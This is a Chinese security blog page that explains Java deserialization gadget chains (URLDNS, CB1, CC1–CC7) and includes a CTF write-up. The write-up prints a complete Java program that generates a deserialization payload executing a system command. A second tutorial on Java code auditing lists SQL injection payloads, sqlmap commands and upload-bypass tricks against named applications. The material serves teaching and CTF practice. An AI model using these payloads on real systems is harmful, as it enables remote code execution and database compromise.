接口,可以被序列化和反序列化。 拥有一些“神奇”的方法,例如 invoke()、newInstance()、get()、set() 等,可以用来反射调用其他方法或修改对象属性。 方法之间存在调用关系,可以构成一条完整的利用链。 构造Gadget Chain: 将多个Gadget组合起来,形成一条从入口点到执行点的完整调用链。这通常需要深入分析目标应用的依赖库和代码,寻找潜在的可利用点。 常见Gadget库和框架: Apache Commons Collections Apache Commons Beanutils Spring Framework Fastjson Jackson … 3.3执行点(Sink): 真正执行恶意操作的地方,例如代码执行(RCE)、命令执行、文件操作、敏感信息泄露等。 常见执行点: Runtime.getRuntime().exec():执行命令 ProcessBuilder.start():执行命令 Method.invoke():反射调用方法 ClassLoader.loadClass():加载类 File、FileInputStream、FileOutputStream 等文件操作类 4. URLDNS 链 原理: java.util.HashMap 重写了 readObject 方法,在反序列化时会调用 hash 函数计算 key 的 hashCode。而 java.net.URL 的 hashCode 在计算时会调用 getHostAddress 来解析域名,从而发出 DNS 请求。攻击者可以通过构造恶意的 URL 对象作为 HashMap 的 key,触发 DNS 解析,将受害者机器的信息发送到攻击者控制的 DNS 服务器。 Gadget Chain: dns图片 content_copyUse code with caution.Mermaid 跟踪链: ObjectInputStream.readObject() HashMap.readObject() HashMap.putVal() // putVal 内部调用 hash() HashMap.hash() URL.hashCode() URLStreamHandler.hashCode() URLStreamHandler.getHostAddress() InetAddress.getByName() // DNS 解析发生在这里URLDNS 链利用流程: 构造恶意 URL 对象: 攻击者创建一个 URL 对象,其域名指向攻击者控制的 DNS 服务器。 创建 HashMap 对象: 攻击者将恶意 URL 对象作为 key,任意对象作为 value,放入 HashMap 中。 序列化 HashMap 对象: 攻击者将 HashMap 对象序列化为字节流。 反序列化 HashMap 对象: 受害者机器反序列化攻击者提供的字节流。 触发 DNS 解析: 在反序列化过程中,HashMap 会调用 readObject 方法,进而调用 hash 方法计算 URL 对象的 hashCode。URL.hashCode 会调用 getHostAddress 解析域名,向攻击者控制的 DNS 服务器发送 DNS 请求。 5.commons-beanutils:1.9.x的cb1链 执行流程: img图片 5.1主要是三个部分,从后往前推 步骤一:TemplatesImpl类: 执行恶意代码的执行点 (能否调用成功依赖于JDK版本, JDK<16 TemplatesImpl这个执行类才可以执行成功) 恶意类.newInstance(): 要执行恶意代码,需要先实例化恶意类。 TemplatesImpl.defineTransletClasses() --> loader.defineClass() / 恶意类.newInstance(): defineTransletClasses() 方法负责定义和加载恶意类,并最终实例化它。 其中 loader.defineClass() 是加载字节码的关键点。 TemplatesImpl.getTransletInstance() --> TemplatesImpl.defineTransletClasses(): 如果 _translet 为空,getTransletInstance() 会调用 defineTransletClasses()。 TemplatesImpl.newTransformer() --> TemplatesImpl.getTransletInstance(): newTransformer() 方法会触发 getTransletInstance() 的调用。 TemplatesImpl.getOutputProperties() --> TemplatesImpl.newTransformer(): getOutputProperties() 方法最终会调用 newTransformer()。 找到关键点:需要找到一种方法调用 TemplatesImpl.getOutputProperties()。 步骤二:寻找可以调用 TemplatesImpl.getOutputProperties() 的 Gadget点 JavaBean 技术和 getProperty() 方法: JavaBean 规范中,getProperty() 方法可以用于获取对象的属性值。 PropertyUtils.getProperty(o1, "outputProperties") --> TemplatesImpl.getOutputProperties(): 如果 o1 是 TemplatesImpl 对象,且 property 为 "outputProperties",那么 PropertyUtils.getProperty() 会通过反射调用 TemplatesImpl.getOutputProperties() 方法。(这里实际调用的是 getter 方法)。 找到 Gadget:PropertyUtils.getProperty() 可以作为 Gadget 使用。 步骤三:寻找触发 Gadget 的入口点 BeanComparator.compare() --> PropertyUtils.getProperty(o1, property): BeanComparator 的 compare() 方法内部使用了 PropertyUtils.getProperty() 来比较 JavaBean 的属性。 PriorityQueue.heapify() --> BeanComparator.compare(): PriorityQueue 的 heapify() 方法在调整堆结构时会使用比较器进行比较。 PriorityQueue.readObject() --> PriorityQueue.heapify(): PriorityQueue 的 readObject() 方法在反序列化过程中会调用 heapify()。 找到入口点:PriorityQueue.readObject() 主要涉及的技术点: Java 反序列化: 将序列化的数据重新转换为对象的过程。 JavaBeans: 一种符合特定规范的 Java 类,通过 getter 和 setter 方法暴露属性。 TemplatesImpl: Apache Xalan 库中的一个类,可以加载并执行字节码。 BeanComparator: Apache Commons Beanutils 库中的一个比较器,可以根据 JavaBean 属性进行比较。 PriorityQueue: Java 集合框架中的一个类,实现了优先队列。 5.2全部的调用链: 入口点:PriorityQueue 类的 readObject() 方法(依赖于 JRE) 触发反序列化: 当 PriorityQueue 对象被反序列化时,会自动调用 readObject() 方法。 调用链:利用 Apache Commons Beanutils (依赖于 org.apache.commons.beanutils) 触发 TemplatesImpl PriorityQueue.readObject() --> PriorityQueue.heapify() PriorityQueue.heapify() --> BeanComparator.compare() (使用了 BeanComparator 作为比较器) BeanComparator.compare() --> PropertyUtils.getProperty(o1, property) (其中 o1 为 TemplatesImpl 对象,property 为 "outputProperties") PropertyUtils.getProperty(o1, property) --> TemplatesImpl.getOutputProperties() (通过反射调用) 执行链:TemplatesImpl 的恶意字节码加载和执行 (依赖于 JRE) TemplatesImpl.getOutputProperties() --> TemplatesImpl.newTransformer() TemplatesImpl.newTransformer() --> TemplatesImpl.getTransletInstance() TemplatesImpl.getTransletInstance() --> TemplatesImpl.defineTransletClasses() (如果 _translet 为空) TemplatesImpl.defineTransletClasses() --> loader.defineClass() (使用自定义的 ClassLoader 加载字节码) TemplatesImpl.defineTransletClasses() --> 恶意类.newInstance() (实例化恶意类) 恶意代码执行: 在恶意类实例化过程中,静态代码块或构造函数会被执行。5.3gadet调用链部分比较重要的点 用到了javabean技术,getProperty方法获取目标类o1( TemplatesImpt类 )的属性值的方法(会调用TemplatesImpt类里面的geoutputPropertiest属性的方法‘) 起到承上启下连接链的作用,承上:接收BeanComparator的比较请求,启下:触发 TemplatesImpl 的危险方法。 在较新版本的 JDK 中,JDK 16 及之后: 移除了 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 类执行点 跟链思路:先从下往上,再寻找到gadget调用链承上启下,再寻找入口点连接起来,从后往前推找到谁调用了这个方法一直到readobject方法就可以截至 5.4JDK 版本限制 JDK 16 及之后: TemplatesImpl 类访问收到限制,该类默认情况下被强封装,需要特殊配置才能访问。到了jdk16就需要使用其他执行类。 jdk15的情况下生成的cb1的反序列能够成功执行,但是到了jdk16之后就会报错: image-20241126215130614图片 报错信息分析: InaccessibleObjectException: Unable to make sun.reflect.annotation.AnnotationInvocationHandler accessible 表明无法通过反射访问这个内部类。CB链调用的过程中间接的利用到了sun.reflect.annotation.AnnotationInvocationHandler这个内部类,在新版本中,这个内部类被严格封装,默认不允许反射访问。 6.commons-collections:3.1反序列化链的进化史 6.1cc1链 cc1反序列化gadet调用链: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoe() Runtime.exec()cc1调用链: cc1图片 CC1 链执行流程图片 入口点:ObjectInputStream.readObject() 反序列化调用链: ObjectInputStream.readObject() --> AnnotationInvocationHandler.readObject() AnnotationInvocationHandler.readObject() --> Map(Proxy).entrySet() Map(Proxy).entrySet() --> AnnotationInvocationHandler.invoke() AnnotationInvocationHandler.invoke() --> LazyMap.get() 执行链: LazyMap.get() --> ChainedTransformer.transform() ChainedTransformer.transform() --> 依次执行: ConstantTransformer.transform() InvokerTransformer.transform() --> Method.invoke() --> Class.getMethod() InvokerTransformer.transform() --> Method.invoke() --> Runtime.getRuntime() InvokerTransformer.transform() --> Method.invoke() --> Runtime.exec()cc1链中比较重要的点 AnnotationInvocationHandler类的动态代理技术:readObject() 方法会读取 memberValues 属性(即动态代理对象),并调用该对象的 entrySet() 方法。动态代理将方法调用转发给 AnnotationInvocationHandler 的 invoke() 方法: invoke() 方法调用 LazyMap 的 get() 方法: invoke() 方法逻辑会调用 LazyMap 的 get() 方法,触发恶意 Transformer 链的执行。 LazyMap 的触发: 利用 LazyMap 的特性,在 get() 操作时触发 transform() 方法,从而启动执行链 transform链:通过装载多个transformer加反射调用Runtime().getruntime()来执行命令 6.2cc3链 CC3 链与 CC1 链的结构类似,主要区别在于执行阶段的最后一个 Transformer,cc3主要是通过TemplatesImpl 来加载恶意字节码,使得攻击者可以更加灵活地控制反射调用的过程。 ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() TemplatesImpl.getOutputProperties() (or newTransformer())cc3图片 CC3 链详细分解: 入口点与反序列化阶段(与 CC1 相同): ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() 执行阶段(与 CC1 不同): LazyMap.get() --> ChainedTransformer.transform() ChainedTransformer.transform() --> 依次执行: ConstantTransformer.transform(): 返回 TemplatesImpl 类。 InvokerTransformer.transform() --> Method.invoke() --> Class.getMethod(): 通过反射获取 TemplatesImpl 类的 getOutputProperties() 或 newTransformer() 方法。 InvokerTransformer.transform() --> Method.invoke() --> TemplatesImpl.getOutputProperties() 或 TemplatesImpl.newTransformer(): 调用 TemplatesImpl 对象的 getOutputProperties() 或 newTransformer() 方法。 TemplatesImpl 的关键作用: TemplatesImpl 是 javax.xml.transform 包下的一个类,用于加载和执行 XSLT 模板。 攻击者可以将恶意字节码注入到 TemplatesImpl 对象的 _bytecodes 属性中。 当 TemplatesImpl 的 getOutputProperties() 或 newTransformer() 方法被调用时,会触发恶意字节码的加载和执行。 CC3 链的核心要点: 利用 TemplatesImpl 加载恶意字节码,绕过了一些对 Runtime.exec() 的限制。 仍然依赖于 AnnotationInvocationHandler 作为反序列化入口点,因此也受限于 JDK 版本。 6.3cc5链 cc5链相比较于前面的cc1和cc3链,使用了不同的反序列化入口点,不再依赖于 AnnotationInvocationHandler,从而可以绕过 JDK 对 CC1 和CC3对AnnotationInvocationHandler的修复。 ObjectInputStream.readObject() BadAttributeValueExpException.readObject() TiedMapEntry.toString() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()cc5图片 CC5 链详细分解: 入口点: ObjectInputStream.readObject() 读取序列化对象。 反序列化阶段: ObjectInputStream.readObject() --> BadAttributeValueExpException.readObject(): 当反序列化 BadAttributeValueExpException 类型的对象时,会调用其 readObject() 方法。 BadAttributeValueExpException.readObject() --> TiedMapEntry.toString(): BadAttributeValueExpException 类中有一个 val 属性,该属性的类型是 Object。攻击者可以将一个 TiedMapEntry 对象赋值给 val 属性。在 BadAttributeValueExpException.readObject() 方法中会调用 val.toString()。 TiedMapEntry.toString() --> LazyMap.get(): TiedMapEntry 的 toString() 方法会调用其内部 Map 的 get() 方法,这里的 Map 实际上是一个 LazyMap 对象,key 是 TiedMapEntry 本身。 执行阶段(与 CC1 相同): LazyMap.get() --> ChainedTransformer.transform() ChainedTransformer.transform() --> 依次执行: ConstantTransformer.transform() InvokerTransformer.transform() --> Method.invoke() --> Class.getMethod() InvokerTransformer.transform() --> Method.invoke() --> Runtime.getRuntime() InvokerTransformer.transform() --> Method.invoke() --> Runtime.exec() CC5 链的核心要点: 利用 BadAttributeValueExpException 作为新的反序列化入口点,绕过了 JDK 对 AnnotationInvocationHandler 的修复。 通过 TiedMapEntry 的 toString() 方法触发 LazyMap 的 get() 方法。 仍然使用 Transformer 链执行任意命令 6.4cc6链 CC6 链利用 HashSet 和 HashMap 的特性来触发反序列化漏洞。 CC6 反序列化 Gadget 调用链: java.io.ObjectInputStream.readObject() java.util.HashSet.readObject() java.util.HashMap.put() java.util.HashMap.hash() org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() org.apache.commons.collections.map.LazyMap.get() org.apache.commons.collections.functors.ChainedTransformer.transform() org.apache.commons.collections.functors.InvokerTransformer.transform() java.lang.reflect.Method.invoke() java.lang.Runtime.exec()cc6图片 CC6 链详细分解: 入口点: ObjectInputStream.readObject() 读取序列化对象。 反序列化阶段: ObjectInputStream.readObject() --> HashSet.readObject(): 当反序列化 HashSet 类型的对象时,会调用其 readObject() 方法。 HashSet.readObject() --> HashMap.put(): HashSet 内部使用 HashMap 来存储元素。在 readObject() 过程中,会调用 HashMap 的 put() 方法添加元素。 HashMap.put() --> HashMap.hash(): 为了计算元素的哈希值,HashMap.put() 会调用 HashMap.hash() 方法。 HashMap.hash() --> TiedMapEntry.hashCode(): 如果 HashMap 中存储的是 TiedMapEntry 对象,那么 HashMap.hash() 会调用 TiedMapEntry.hashCode() 方法。 TiedMapEntry.hashCode() --> TiedMapEntry.getValue(): TiedMapEntry.hashCode() 方法会调用 TiedMapEntry.getValue() 方法获取值。 TiedMapEntry.getValue() --> LazyMap.get(): TiedMapEntry 内部持有一个 Map 对象,getValue() 方法会调用该 Map 的 get() 方法,这里的 Map 实际上是一个 LazyMap 对象,key 是 TiedMapEntry 本身。 执行阶段(与 CC1 相似): LazyMap.get() --> ChainedTransformer.transform() ChainedTransformer.transform() --> InvokerTransformer.transform() --> Method.invoke() --> Runtime.exec() CC6 链的核心要点: 利用 HashSet 和 HashMap 的反序列化过程作为入口点。 通过 HashMap 计算 TiedMapEntry 哈希值时触发 LazyMap.get()。 仍然使用 Transformer 链执行任意命令。 6.5cc7链 CC7 链利用 Hashtable 和 AbstractMapDecorator 的特性来触发反序列化漏洞。 CC7 反序列化 Gadget 调用链: ObjectInputStream.readObject() Hashtable.readObject() Hashtable.reconstitutionPut() AbstractMapDecorator.equals() AbstractMap.equals() LazyMap.get() ChainedTransformer.transform() InvokerTransformer.transform() Method.invoke() DelegatingMethodAccessorImpl.invoke() NativeMethodAccessorImpl.invoke() NativeMethodAccessorImpl.invoke0() Runtime.exec()cc7图片 CC7 链详细分解: 入口点:ObjectInputStream.readObject() 读取序列化对象。 反序列化阶段: ObjectInputStream.readObject() --> Hashtable.readObject():当反序列化 Hashtable 类型的对象时,会调用其 readObject() 方法。 Hashtable.readObject() --> Hashtable.reconstitutionPut():Hashtable 在反序列化过程中会调用 reconstitutionPut() 方法重新构建内部的键值对。 Hashtable.reconstitutionPut() --> AbstractMapDecorator.equals():Hashtable 在 reconstitutionPut() 中会使用 equals() 方法比较键是否相等。如果 Hashtable 中的键是一个 AbstractMapDecorator 对象(如 LazyMap 或 TransformedMap),那么会调用其 equals() 方法。 AbstractMapDecorator.equals() --> AbstractMap.equals():AbstractMapDecorator 的 equals() 方法会调用 AbstractMap.equals() 方法进行进一步比较。 AbstractMap.equals() --> LazyMap.get():在 AbstractMap.equals() 方法中,如果比较的另一个对象也是一个 Map,会调用其 get() 方法获取值进行比较。这里的 Map 实际上是一个 LazyMap 对象,key 是 AbstractMapDecorator 对象本身。 执行阶段: LazyMap.get() --> ChainedTransformer.transform() ChainedTransformer.transform() --> InvokerTransformer.transform() --> Method.invoke():调用 InvokerTransformer 执行反射调用。 Method.invoke() --> DelegatingMethodAccessorImpl.invoke() --> NativeMethodAccessorImpl.invoke() --> NativeMethodAccessorImpl.invoke0() --> Runtime.exec():这一系列调用最终会执行 Runtime.exec() 方法。这是 Java 反射调用过程中的底层实现细节。 CC7 链的核心要点: 利用 Hashtable 的反序列化机制作为入口点。 通过 Hashtable 在反序列化过程中调用 equals() 方法来触发 LazyMap.get()。 仍然使用 Transformer 链执行任意命令。 6.6jdk版本限制 随着jdk版本更新cc1链被修复 JDK 8u71 及之后: CC1 链和CC3链使用的是相同的入口gadet片段导致失效。JDK 8u71 修复了 AnnotationInvocationHandler 的漏洞,导致依赖于它的 CC1 和 CC3 链失效。这是因为 AnnotationInvocationHandler 的 memberValues 字段的类型受到了限制,阻止了恶意利用。 image-20241127094041601图片 jdk16及之后:和cb链一样因为内部类的严格封装,sun.reflect.annotation.AnnotationInvocationHandler类被封装到内部类,不能再反射调用,导致CC5,CC6,CC7失效。 image-20241126222027505图片 6.7总结 cc3.1反序列化链逻辑图图片 对 CC3、CC5、CC6 和 CC7 链进行总结如下: 链入口点触发方式执行方式JDK 限制CC1AnnotationInvocationHandler.readObject()Map(Proxy).entrySet() -> AnnotationInvocationHandler.invoke() -> LazyMap.get()Runtime.exec()JDK 8u71 之后修复CC3AnnotationInvocationHandler.readObject()Map(Proxy).entrySet() -> AnnotationInvocationHandler.invoke() -> LazyMap.get()TemplatesImpl 加载字节码JDK 8u71 之后修复CC5BadAttributeValueExpException.readObject()TiedMapEntry.toString() -> LazyMap.get()Runtime.exec()JDK16后修复CC6HashSet.readObject()HashMap.hash() -> TiedMapEntry.hashCode() -> TiedMapEntry.getValue() -> LazyMap.get()Runtime.exec()JDK16后修复CC7Hashtable.readObject()Hashtable.reconstitutionPut() -> AbstractMapDecorator.equals() -> AbstractMap.equals() -> LazyMap.get()Runtime.exec()JDK16后修复通用特点: 都利用了 Apache Commons Collections 库中的 LazyMap 和 ChainedTransformer、InvokerTransformer 等类。 差异: 入口点不同: 每个链使用了不同的类作为反序列化的入口点,这是为了绕过 JDK 对之前链的修复。 触发方式不同: 每个链通过不同的方式触发 LazyMap 的 get() 方法,从而启动 Transformer 链。 执行方式: CC3 主要利用 TemplatesImpl 加载恶意字节码执行命令,而其他链(CC1、CC5、CC6、CC7)通常利用 Runtime.exec(),但技术上也可以使用 TemplatesImpl来加载恶意的字节码实现命令执行,内存马注入等. 7.commons-collections4.0:反序列化链 7.1CC2 链 CC2 反序列化 Gadget 调用链: ObjectInputStream.readObject() PriorityQueue.readObject() PriorityQueue.heapify() PriorityQueue.siftDown() PriorityQueue.siftDownUsingComparator() TransformingComparator.compare() InvokerTransformer.transform() Method.invoke() Class.getMethod() Method.invoke() Runtime.getRuntime() Method.invoke() Runtime.exec()cc2图片 入口点:ObjectInputStream.readObject() 反序列化调用链: ObjectInputStream.readObject() --> PriorityQueue.readObject() PriorityQueue.readObject() --> PriorityQueue.heapify() PriorityQueue.heapify() --> PriorityQueue.siftDown() PriorityQueue.siftDown() --> PriorityQueue.siftDownUsingComparator() PriorityQueue.siftDownUsingComparator() --> TransformingComparator.compare() 执行链: TransformingComparator.compare() --> InvokerTransformer.transform() InvokerTransformer.transform() --> 依次执行: Method.invoke() --> Class.getMethod() Method.invoke() --> Runtime.getRuntime() Method.invoke() --> Runtime.exec()content_copyUse code with caution.Java CC2 链中比较重要的点: PriorityQueue 的利用: PriorityQueue 是一个优先队列,在反序列化时会进行堆排序。 TransformingComparator 的作用: TransformingComparator 是一个比较器,在 PriorityQueue 进行排序时会调用其 compare 方法,从而触发 InvokerTransformer 的 transform 方法。 InvokerTransformer 的反射调用: 与 CC1 链类似,InvokerTransformer 通过反射调用 Runtime.getRuntime().exec() 方法执行命令。 7.2 CC4 链 CC4 反序列化 Gadget 调用链: ObjectInputStream.readObject() PriorityQueue.readObject() ... TransformingComparator.compare() InstantiateTransformer.transform() Constructor.newInstance() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() DefineTransletClasses.defineClass()cc4图片 入口点:ObjectInputStream.readObject() 反序列化调用链: ObjectInputStream.readObject() --> PriorityQueue.readObject() PriorityQueue.readObject() --> PriorityQueue.heapify() PriorityQueue.heapify() --> PriorityQueue.siftDown() PriorityQueue.siftDown() --> PriorityQueue.siftDownUsingComparator() PriorityQueue.siftDownUsingComparator() --> TransformingComparator.compare() 执行链: TransformingComparator.compare() --> InstantiateTransformer.transform() InstantiateTransformer.transform() --> Constructor.newInstance() Constructor.newInstance() --> TemplatesImpl.newTransformer() TemplatesImpl.newTransformer() --> TemplatesImpl.getTransletInstance() TemplatesImpl.getTransletInstance() --> DefineTransletClasses.defineClass()CC4 链中比较重要的点: InstantiateTransformer 的利用: CC4 链与 CC2 链的结构类似,主要区别在于执行阶段使用了 InstantiateTransformer 而不是 InvokerTransformer。 TemplatesImpl 加载字节码: InstantiateTransformer 会调用指定类的构造函数创建对象。在 CC4 中,这个类是 TemplatesImpl,攻击者可以将恶意字节码注入到 TemplatesImpl 对象的 _bytecodes 属性中,然后通过调用 newTransformer() 方法触发恶意字节码的加载和执行。 7.3 JDK 限制 随着 JDK 版本更新,CC2 和 CC4 链也受到了一定的限制: JDK 16 及之后: CC2链和CC4链和cb链一样因为内部类的严格封装,sun.reflect.annotation.AnnotationInvocationHandler类被封装到内部类,不能再反射调用,导致CC链失效。 7.4 总结 链入口点触发方式执行方式JDK 限制CC2PriorityQueue.readObject()PriorityQueue.heapify() -> ... -> TransformingComparator.compare() -> InvokerTransformer.transform()Runtime.exec()JDK16后失效CC4PriorityQueue.readObject()PriorityQueue.heapify() -> ... -> TransformingComparator.compare() -> InstantiateTransformer.transform()TemplatesImpl 加载字节码JDK16后失效通用特点: 都利用了 PriorityQueue 的反序列化过程作为入口点。 都利用了 TransformingComparator 作为触发器。 差异: 执行方式不同: CC2 利用 InvokerTransformer 执行 Runtime.exec(),而 CC4 利用 InstantiateTransformer 和 TemplatesImpl 加载恶意字节码。 8.java反序列的payload一键生成利用工具 web Chains地址:Java-Chains/web-chains: Web 版 Java Payload 生成与漏洞利用工具,提供 Java 反序列化、Hessian 1/2 反序列化等 Payload 生成,以及 JNDI Exploit、Fake Mysql Exploit、JRMPListener 等相关利用 image-20241122190952420图片 image-20241122191532090图片 9.反序列化和jndi实战例题 2024赣州杯 byp4ss 9.1配置动态调试 拿到jar包之后解压: image-20241123220118347图片 解压之后idea中打开这个项目: image-20241124094623878图片 项目结构->模块->添加classes和lib依赖: image-20241123220335117图片 添加远程调试 image-20241123220535557图片 然后通过以下命令运行jar包 java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -jar byp4ss.jar打上断点就可调试 image-20241123220745389图片 9.2indexController路由存在漏洞点 参数base64,jndi image-20241123102700500图片 9.3思路一:jndi远程注入 Byp4ssApplication image-20241124174707575图片 System.setProperty("com.sun.jndi.ldap.object.trustSerialData", "false")这个设置的含义是:禁止 LDAP 引用远程对象时进行反序列化操作,可以尝试传统的远程加载jndi服务。 传统的远程加载jndi服务加载类的方法要依赖于启动jar包的java版本,只要java版本小于:1.8u191就可以攻击成功 9.4思路二:java原生反序列化攻击 需要将重点放在反序列化攻击上,寻找绕过resolveClass中类名检测的方法 代码中禁止了以下类的反序列化: ConcurrentSkipListMap HashMap HashTable org.apache.commons.collections.functors 包下的类寻找不在黑名单gadet中的链条 根据lib依赖的组件和版本使用工具生成反序列化链 image-20241124172250403图片 image-20241124172503372图片 image-20241124175130207图片 9.5绕过禁用的反序列化类 生成传入报错因为禁用了hashmap类的反序列化 image-20241124191457481图片 所以我们要找其他的gadet片段替换绕过,找的是toString方法->getter方法 image-20241124191825457图片 反序列化,类被禁用找其他gadet推荐项目:LxxxSec/CTF-Java-Gadget: CTF-Java-Gadget专注于收集CTF中Java赛题的反序列化片段 从这个项目中找到下面的反序列化链 image-20241124192337017图片 package com.ctf.byp4ss.controller; import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; import org.springframework.aop.framework.AdvisedSupport; import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.Base64; public class POJOJackson { public static void main(String[] args) throws Exception{ byte[] code = getTemplates(); byte[][] codes = {code}; TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "useless"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); setFieldValue(templates, "_bytecodes", codes); // 删除 BaseJsonNode#writeReplace 方法用于顺利序列化 ClassPool pool = ClassPool.getDefault(); CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace"); ctClass0.removeMethod(writeReplace); ctClass0.toClass(); POJONode node = new POJONode(makeTemplatesImplAopProxy(templates)); BadAttributeValueExpException bave = new BadAttributeValueExpException(null); setFieldValue(bave, "val", node); byte[] bytes = serialize(bave); System.out.println(Base64.getEncoder().encodeToString(bytes)); } public static byte[] serialize(Object obj) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(obj); return baos.toByteArray(); } public static Object makeTemplatesImplAopProxy(TemplatesImpl templates) throws Exception { AdvisedSupport advisedSupport = new AdvisedSupport(); advisedSupport.setTarget(templates); Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler); return proxy; } public static byte[] getTemplates() throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass template = pool.makeClass("MyTemplate"); template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet")); String block = "Runtime.getRuntime().exec(\"calc\");"; template.makeClassInitializer().insertBefore(block); return template.toBytecode(); } public static void setFieldValue(Object obj, String field, Object val) throws Exception{ Field dField = obj.getClass().getDeclaredField(field); dField.setAccessible(true); dField.set(obj, val); } }生成传入命令执行成功 image-20241124192140974图片
第十五届巅峰极客wp_web
ctf
admin
1年前
2
822
90
2024-11-21
本文记录了第十五届巅峰极客 Web 部分的解题过程,队伍最终排名第13名。涉及多个 Web 安全领域的挑战,包括 XSS、SSTI 模板注入、SSRF、Flask session 伪造、pickle 反序列化、文件上传、文件包含、JWT 漏洞等。每个挑战都提供了详细的漏洞分析和利用方法,以及相应的 payload 和解决方案。
2024-11-20
java基础漏洞代码审计
java基础漏洞代码审计 图片 图片 配置信息了解 查看配置文件: ├── pom.xml # Maven项目配置主要是组件的版本信息 ├── src/main/resources/conf(这个目录可以没有)/*.properties# 主配置目录,一些组件的配置的信息入mybatis,shiro,log4j,springboot(application.propreties有数据库的配置信息还有启动路劲端口信息,日志配置信息) ├── src/main/resources/templates 模板文件 ├── src/main/resources/mappers mybatis的xml文件,主要用于定义sql语句。 ├── src/main/java/包名(cn.gson.oasys)/controller 处理http请求 ├── src/main/java/包名(cn.gson.oasys)/services 具体功能的逻辑代码的实现 ├── src/main/java/包名(cn.gson.oasys)/model 定义处理数据类型 ├── src/main/java/包名(cn.gson.oasys)/common 公共资源 ├── formValid/ # 表单验证相关 └── Interceptor/ # 请求拦截器 └── src/main/webapp/WEB-INF/ # Web配置 └── web.xml # Web主配置 Web 应用的主要配置文件,定义了应用的Servlet、过滤器、监听器sql注入 1.jdbc 字符串拼接: + 号拼接,StringBuilder.append(),String.concat() 搜append(,concat(2.mybtis mybatis定义sql语句的地方位于 /mapper/*.xml文件中 安全写法:使用#{} (预编译参数) 不安全写法使用${} 搜 ${3.容易产生注入的地方 不能使用预编译容易产生sql注入的地方:1.模糊查询like语句后面,2.order by排序 ,3.IN子句,4.HAVING子句 这些后面进行sql注入可能会受到限制 这些地方在使用sqlmap的时候可能要使用下面参数 sqlmap --level 5 --risk 3 报错注入payload: 1 and (SELECT updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)) 1 and updatexml(1,concat(0x7e,(database()),0x7e),1) ?orderColumn=1 AND EXTRACTVALUE(1040,CONCAT(0x5c,0x7178766b71,(SELECT (ELT(1040=1040,1))),0x717a767871))4.案例 案例一:jfinal_cms-4.5.0 从pom.xml发现未使用数据库框架采用的mysql搜索append(:在文件中搜索发现多处都存在sql注入 图片 随便点击一个发现/admin/concat/路由对应的list方法存在注入 图片 对应前台的查询功能: 图片 sqlmap梭哈 其他参数也存在sql注入 Parameter: attr.name (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment) Payload: form.orderColumn=&form.orderAsc=&attr.name=1' AND 7388=(SELECT (CASE WHEN (7388=7388) THEN 7388 ELSE (SELECT 2007 UNION SELECT 6422) END))-- -&totalRecords=1&pageNo=1&pageSize=20&length=10&orderBy=1'案例二mybatis:oa_system 从pom.xml中发现了mybatis框架 sql的语句定义在/reSources/mappers/*.xml中,发现不安全写法 图片 从后往前推 ${baseKey}->sortMyNotice->sortMyNotice->informListPaging() ${pinyin}->allDirector->outaddresspaging()路由触发方法/informListPaging,参数basekey 路由触发方法/outaddresspaging,参数alph python sqlmap.py -r a.txt --batch --risk=3 --level=5案例三mybatis:RuoYi-v4.6.0 从依赖库中发现了mybatis 图片 发现不安全写法 图片 从后往前推: ${ancestors}->updateDeptStatus->updateParentDeptStatus->updateDept->editSave()对应功能点部门编辑 图片 触发方法/system/dept/edit 参数:ancestors 图片 文件类的漏洞 // 文件操作 new FileInputStream( new FileOutputStream( new File( FileUtils. IOUtils. // 文件上传 MultipartFile file.getOriginalFilename( file.transferTo( // 文件下载 response.setContentType("application/octet-stream") getFile download // 目录操作 .mkdirs( .createNewFile(1.优先搜索: new FileInputStream(2.案例 案例1-文件上传-Inxedu 图片 对应代码段 图片 上传jspx绕过检测 路由地址: POST /inxedu_war/image/gok4?fileType=jspx,jpg,gif,png,jpeg¶m=temp图片 案例2-配合过滤器绕过进后台进行上传-Tmall 只要匹配到url包含/admin/login就通过,配合../进行绕过验证 图片 